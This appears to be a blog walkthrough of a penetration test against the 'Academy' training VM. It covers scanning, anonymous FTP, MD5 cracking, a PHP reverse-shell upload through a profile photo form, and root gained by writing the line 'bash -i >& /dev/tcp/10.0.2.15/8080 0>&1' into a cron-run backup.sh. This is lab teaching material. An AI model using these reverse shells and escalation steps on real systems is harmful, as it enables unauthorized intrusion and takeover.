Back to Blog

Academy Machine Walkthrough

A Complete Penetration Testing Guide

Overview

This walkthrough demonstrates a complete penetration test of the Academy machine. We'll go through reconnaissance, vulnerability identification, exploitation, and privilege escalation to gain root access.

Target Machine: Academy
IP Address: 10.0.2.4
Difficulty: Easy to Medium
Skills Required: Nmap, Hash Cracking, Directory Enumeration, PHP Exploitation, Privilege Escalation

All VMs are available here: VMs - Google Drive

Initial Setup

Academy Machine Configuration

Login credentials for the Academy VM:

Username: root
Password: tcm

After logging in, obtain an IP address:

dhclient
ip a
Academy IP Configuration

Reconnaissance

Initial Nmap Scan

Start with a basic port scan:

nmap 10.0.2.4

Three ports were discovered as open. Let's perform a deeper scan:

nmap -p 21,22,80 -A 10.0.2.4
Nmap Scan Results

Discovered Services

Vulnerability Research

Researching the service versions revealed that vsftpd 3.0.3 only has a DoS vulnerability, which isn't useful for our purposes. The other services also had no critical exploits for their versions.

Web Service Enumeration

HTTP Analysis

Visiting http://10.0.2.4 shows the Debian default page. While not immediately exploitable, this should be reported in a penetration test as it's considered poor security hygiene.

Debian Default Page

FTP Investigation

Let's connect to FTP with anonymous credentials:

ftp 10.0.2.4
Username: anonymous
Password: (press enter)
get note.txt
exit
FTP Anonymous Login

Analyzing note.txt

The note reveals database credentials:

Note: "The StudentRegno number is what you use for login."

Hash Cracking

Hash Identification

Use hash-identifier to determine the hash type:

hash-identifier
cd73502828457d15655bbd7a63fb0bc8
Hash Identification

The hash is identified as MD5. Save it to a file and crack it using hashcat:

echo "cd73502828457d15655bbd7a63fb0bc8" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat Cracking
Cracked Password: student

Directory Enumeration

With credentials but no clear target, directory enumeration is the next logical step. Using ffuf for first-level enumeration:

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.2.4/FUZZ
Directory Enumeration Results

Discovered Directories

Note: For deeper enumeration within directories, consider using Dirb.

Initial Exploitation

Academy Login Portal

Navigating to http://10.0.2.4/academy reveals a student login page.

Academy Login Page

Login with the discovered credentials:

Academy Dashboard

PHP Reverse Shell Upload

After logging in, the "My Profile" section reveals a photo upload functionality. Since the site uses PHP, we can attempt to upload a PHP reverse shell.

Download the pentestmonkey PHP reverse shell:

# Visit: https://github.com/pentestmonkey/php-reverse-shell
# Download and modify the shell
nano shell.php

# Change these lines:
$ip = '10.0.2.15';  // Your attacker IP
$port = 1234;
Modifying Reverse Shell

Set up a netcat listener:

nc -nvlp 1234

Upload the shell.php file through the photo upload section.

Shell Upload Success

Shell Access Gained

Reverse Shell Connected

Check user privileges:

whoami
# Output: www-data (not root, no sudo available)

Privilege Escalation

Using LinPEAS for Enumeration

Download LinPEAS from: PEASS-ng Releases

Host a Python HTTP server on your attacker machine:

python3 -m http.server 80
Python HTTP Server

On the target machine, download and execute LinPEAS:

cd /tmp
wget http://10.0.2.15/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinPEAS Findings

LinPEAS Output - User

Key discoveries:

LinPEAS - Grimmie Admin

Database Credentials Discovery

Password in Config File

LinPEAS revealed credentials in a PHP config file:

cat /var/www/html/academy/includes/config.php
Config File Contents
Username: grimmie
Password: My_V3ryS3cur3_P4ss

SSH as Grimmie

Attempt SSH login with the discovered credentials:

ssh grimmie@10.0.2.4
Password: My_V3ryS3cur3_P4ss
SSH as Grimmie

Successfully logged in as grimmie! However, sudo is not available.

Analyzing backup.sh

In /home/grimmie, we find backup.sh which removes backup.zip periodically. Checking crontab returns nothing, so we'll use pspy to monitor processes.

Crontab Empty

Using pspy for Process Monitoring

Download pspy64 from: pspy GitHub

wget http://10.0.2.15/pspy64
chmod +x pspy64
./pspy64
pspy Download
pspy Output

pspy confirms that backup.sh is executed multiple times per minute as root!

Exploiting backup.sh

Since grimmie owns backup.sh and it runs as root, we can inject a bash reverse shell.

Create a bash reverse shell one-liner:

bash -i >& /dev/tcp/10.0.2.15/8080 0>&1
Bash Reverse Shell

Replace the contents of backup.sh:

echo 'bash -i >& /dev/tcp/10.0.2.15/8080 0>&1' > /home/grimmie/backup.sh
Modified backup.sh

Set up a listener on port 8080:

nc -nvlp 8080

Wait for the cron job to execute (within a minute)...

Root Access

Root Shell

Success! We have root access.

whoami
# Output: root

ls
cat flag.txt
Box Rooted Successfully! 🎉

Summary

Attack Chain

Key Lessons

Disclaimer: This walkthrough is for educational purposes only. Always obtain proper authorization before performing penetration testing on any system.
Back to Blog